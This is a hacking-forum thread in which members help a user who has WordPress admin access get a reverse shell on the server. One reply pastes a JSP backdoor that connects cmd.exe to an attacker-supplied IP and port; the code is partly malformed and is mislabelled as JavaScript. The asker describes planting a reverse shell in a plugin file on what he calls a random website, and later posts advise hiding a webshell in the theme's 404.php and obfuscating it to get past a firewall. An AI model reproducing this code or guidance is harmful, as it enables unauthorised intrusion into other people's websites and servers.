Hack Forums
from wordpress admin panel to rev shell - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: from wordpress admin panel to rev shell (/showthread.php?tid=6287916)



from wordpress admin panel to rev shell - Leeriz - Dec 24, 2024

Hi guys,

could someone help me gain rev shell from wordpress 6.7.1 , its been like 10days and i couldnt do it


RE: from wordpress admin panel to rev shell - DramaKing - Dec 24, 2024

(Dec 24, 2024 05:59 AM)Leeriz Wrote:  Hi guys,

could someone help me gain rev shell from wordpress 6.7.1 , its been like 10days and i couldnt do it

Is allow_URL_include enabled in PHP? Does it allow you to upload PHP files? Don't assume that someone must know a way. There may be a vulnerability in a plugin. Go after that.

These are rhetorical questions.


RE: from wordpress admin panel to rev shell - Leeriz - Dec 24, 2024

i am admin , so i guess it should be easy but still i cant modify plugins code it says i need to connect using sftp to be able to modify files . and there is no open ports for ftp


also i cant upload files


RE: from wordpress admin panel to rev shell - DramaKing - Dec 24, 2024

(Dec 24, 2024 07:22 AM)Leeriz Wrote:  i am admin

Right. I forgot the title.


(Dec 24, 2024 07:22 AM)Leeriz Wrote:  but still i cant modify plugins code it says i need to connect using sftp to be able to modify files . and there is no open ports for ftp


also i cant upload files

Know your protocols. FTP Secure is FTP over SSL. Secure FTP is FTP over SSH.

Also, maybe you could insert some JavaScript.
Code
<%@
page import="java.lang.*, java.util.*, java.io.*, java.net.*"
% >
<%!
static class StreamConnector extends Thread
{
        InputStream is;
        OutputStream os;
        StreamConnector(InputStream is, OutputStream os)
        {
                this.is = is;
                this.os = os;
        }
        public void run()
        {
                BufferedReader isr = null;
                BufferedWriter osw = null;
                try
                {
                        isr = new BufferedReader(new InputStreamReader(is));
                        osw = new BufferedWriter(new OutputStreamWriter(os));
                        char buffer[] = new char[8192];
                        int lenRead;
                        while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
                        {
                                osw.write(buffer, 0, lenRead);
                                osw.flush();
                        }
                }
                catch (Exception ioe)
                try
                {
                        if(isr != null) isr.close();
                        if(osw != null) osw.close();
                }
                catch (Exception ioe)
        }
}
%>

<h1>JSP Backdoor Reverse Shell</h1>

<form method="post">
IP Address
<input type="text" name="ipaddress" size=30>
Port
<input type="text" name="port" size=10>
<input type="submit" name="Connect" value="Connect">
</form>
<p>
<hr>

<%
String ipAddress = request.getParameter("ipaddress");
String ipPort = request.getParameter("port");
if(ipAddress != null && ipPort != null)
{
        Socket sock = null;
        try
        {
                sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());
                Runtime rt = Runtime.getRuntime();
                Process proc = rt.exec("cmd.exe");
                StreamConnector outputConnector =
                        new StreamConnector(proc.getInputStream(),
                                          sock.getOutputStream());
                StreamConnector inputConnector =
                        new StreamConnector(sock.getInputStream(),
                                          proc.getOutputStream());
                outputConnector.start();
                inputConnector.start();
        }
        catch(Exception e)
}
%>


I mean, JS is supposed to be client-side, but it could be worth a try.


RE: from wordpress admin panel to rev shell - Leeriz - Dec 24, 2024

yep i know no open ports 22 or 21 , but i just manage to get a rev shell i download file manager to change the plugins .

so thank's


RE: from wordpress admin panel to rev shell - DramaKing - Dec 24, 2024

(Dec 24, 2024 07:51 AM)Leeriz Wrote:  yep i know no open ports 22 or 21 , but i just manage to get a rev shell i download file manager to change the plugins .

so thank's

Changed plugins with file manager, huh? I don't understand how that has anything to do with WordPress, but nice work.


RE: from wordpress admin panel to rev shell - FeIixTheCat - Dec 24, 2024

if you still need this let me give this a try, i love this type of tasks
i work in cyber security field and i will get it done, it is just a matter of how quick


RE: from wordpress admin panel to rev shell - Leeriz - Dec 25, 2024

(Dec 24, 2024 09:45 AM)DramaKing Wrote:  Changed plugins with file manager, huh? I don't understand how that has anything to do with WordPress, but nice work.

with file manager , you could edit code inside files so i chose a random plugins and add my rev shell and each time someone go to that link (wp-content/plugins/fb-reply/fb-reply.php) i get connection to my listener


(Dec 24, 2024 10:56 AM)FeIixTheCat Wrote:  if you still need this let me give this a try, i love this type of tasks
i work in cyber security field and i will get it done, it is just a matter of how quick

thank's dude . It was just a random website didnt do nothing crazy , now the website back to working just fine


RE: from wordpress admin panel to rev shell - Money- - Dec 25, 2024

You are in admin panel right? Possible chances there's a WAF blocking that rev shell code.

Try a minified webshell or obfuscated one.

Edit the theme 404.php page works no?

Put a simple web shell code. Then from the webshell execute reverse shell command to your server.

Don't paste rev shell code directly as this will trigger detection easier.


RE: from wordpress admin panel to rev shell - dm8173675 - Feb 10, 2025

Greetings to Everyone. Anyone got .php shell script I can upload in WordPress and Convert it into Shell.. I need to turn my WordPress into shell


RE: from wordpress admin panel to rev shell - DramaKing - Feb 10, 2025

(Feb 10, 2025 01:13 AM)dm8173675 Wrote:  Greetings to Everyone. Anyone got .php shell script I can upload in WordPress and Convert it into Shell.. I need to turn my WordPress into shell

revshells.com


RE: from wordpress admin panel to rev shell - SIM-5604220 - Feb 11, 2025

Hey Op, how do you got admin access? Is there any tip - guide here to learn?